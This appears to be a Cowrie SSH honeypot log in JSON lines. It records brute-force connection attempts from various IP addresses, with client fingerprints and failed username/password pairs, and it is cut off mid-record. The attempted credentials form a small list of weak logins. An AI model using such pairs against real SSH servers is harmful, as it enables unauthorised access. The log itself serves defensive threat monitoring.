{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:46:10.582163Z","src_ip":"103.82.92.202","session":"838ca8900c35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.2.212","src_port":42710,"dst_ip":"10.17.0.5","dst_port":22,"session":"951307451513","protocol":"ssh","message":"New connection: 103.78.2.212:42710 (10.17.0.5:22) [session: 951307451513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:46:46.680981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:46:46.684645Z","src_ip":"103.78.2.212","session":"951307451513","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:46:46.933493Z","src_ip":"103.78.2.212","session":"951307451513","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alexis","password":"alexis","message":"login attempt [alexis/alexis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:46:47.965090Z","src_ip":"103.78.2.212","session":"951307451513","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:46:49.216101Z","src_ip":"103.78.2.212","session":"951307451513","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:46:51.316298Z","src_ip":"14.103.206.214","session":"581589ff8b14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.210.249.152","src_port":40876,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e2aec69fe67","protocol":"ssh","message":"New connection: 172.210.249.152:40876 (10.17.0.5:22) [session: 4e2aec69fe67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:46:57.999627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:46:58.004201Z","src_ip":"172.210.249.152","session":"4e2aec69fe67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:46:58.020434Z","src_ip":"172.210.249.152","session":"4e2aec69fe67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qbtuser","password":"qbtuser","message":"login attempt [qbtuser/qbtuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:46:58.115540Z","src_ip":"172.210.249.152","session":"4e2aec69fe67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:46:59.133741Z","src_ip":"172.210.249.152","session":"4e2aec69fe67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.151.72.155","src_port":49032,"dst_ip":"10.17.0.5","dst_port":22,"session":"e01ef2389d3c","protocol":"ssh","message":"New connection: 115.151.72.155:49032 (10.17.0.5:22) [session: e01ef2389d3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:47:25.368337Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":49556,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4809021f00d","protocol":"ssh","message":"New connection: 92.118.39.92:49556 (159.203.135.109:22) [session: a4809021f00d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:47:34.998634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:47:35.003569Z","src_ip":"92.118.39.92","session":"a4809021f00d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:47:35.107865Z","src_ip":"92.118.39.92","session":"a4809021f00d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:47:35.421337Z","src_ip":"92.118.39.92","session":"a4809021f00d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:47:36.527686Z","src_ip":"92.118.39.92","session":"a4809021f00d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.240.75.51","src_port":54370,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4f93f33af24","protocol":"ssh","message":"New connection: 35.240.75.51:54370 (10.17.0.5:22) [session: b4f93f33af24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:47:55.645891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:47:55.650088Z","src_ip":"35.240.75.51","session":"b4f93f33af24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:47:55.828113Z","src_ip":"35.240.75.51","session":"b4f93f33af24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"123456","message":"login attempt [ivan/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:47:56.378680Z","src_ip":"35.240.75.51","session":"b4f93f33af24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:47:57.574347Z","src_ip":"35.240.75.51","session":"b4f93f33af24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.92.202","src_port":33280,"dst_ip":"10.17.0.5","dst_port":22,"session":"162f23b1bf00","protocol":"ssh","message":"New connection: 103.82.92.202:33280 (10.17.0.5:22) [session: 162f23b1bf00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:48:35.649837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:48:35.654605Z","src_ip":"103.82.92.202","session":"162f23b1bf00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:48:35.901397Z","src_ip":"103.82.92.202","session":"162f23b1bf00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"galaxy","password":"12345","message":"login attempt [galaxy/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:48:36.924653Z","src_ip":"103.82.92.202","session":"162f23b1bf00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:48:38.173181Z","src_ip":"103.82.92.202","session":"162f23b1bf00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.3","src_port":56598,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d3dbfc4946b","protocol":"ssh","message":"New connection: 118.193.33.3:56598 (10.17.0.5:22) [session: 6d3dbfc4946b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:48:40.937307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:48:40.941602Z","src_ip":"118.193.33.3","session":"6d3dbfc4946b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:48:41.157291Z","src_ip":"118.193.33.3","session":"6d3dbfc4946b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vboxuser","password":"Vboxuser123","message":"login attempt [vboxuser/Vboxuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:48:42.054471Z","src_ip":"118.193.33.3","session":"6d3dbfc4946b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:48:43.272921Z","src_ip":"118.193.33.3","session":"6d3dbfc4946b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.125.147.88","src_port":46127,"dst_ip":"10.17.0.5","dst_port":22,"session":"9564878f33cf","protocol":"ssh","message":"New connection: 154.125.147.88:46127 (10.17.0.5:22) [session: 9564878f33cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:13.657037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:13.661309Z","src_ip":"154.125.147.88","session":"9564878f33cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:13.797280Z","src_ip":"154.125.147.88","session":"9564878f33cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"Runner123!","message":"login attempt [runner/Runner123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:14.375134Z","src_ip":"154.125.147.88","session":"9564878f33cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.210.249.152","src_port":33194,"dst_ip":"10.17.0.5","dst_port":22,"session":"748d1e4ed37d","protocol":"ssh","message":"New connection: 172.210.249.152:33194 (10.17.0.5:22) [session: 748d1e4ed37d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:15.487602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:15.491618Z","src_ip":"172.210.249.152","session":"748d1e4ed37d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:15.507086Z","src_ip":"172.210.249.152","session":"748d1e4ed37d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:15.513268Z","src_ip":"154.125.147.88","session":"9564878f33cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pa$$w0rd","message":"login attempt [ubuntu/Pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:15.603103Z","src_ip":"172.210.249.152","session":"748d1e4ed37d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:16.620169Z","src_ip":"172.210.249.152","session":"748d1e4ed37d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.218.242.31","src_port":49474,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d23d43c2add","protocol":"ssh","message":"New connection: 103.218.242.31:49474 (10.17.0.5:22) [session: 5d23d43c2add]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:22.351614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:22.356525Z","src_ip":"103.218.242.31","session":"5d23d43c2add","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-g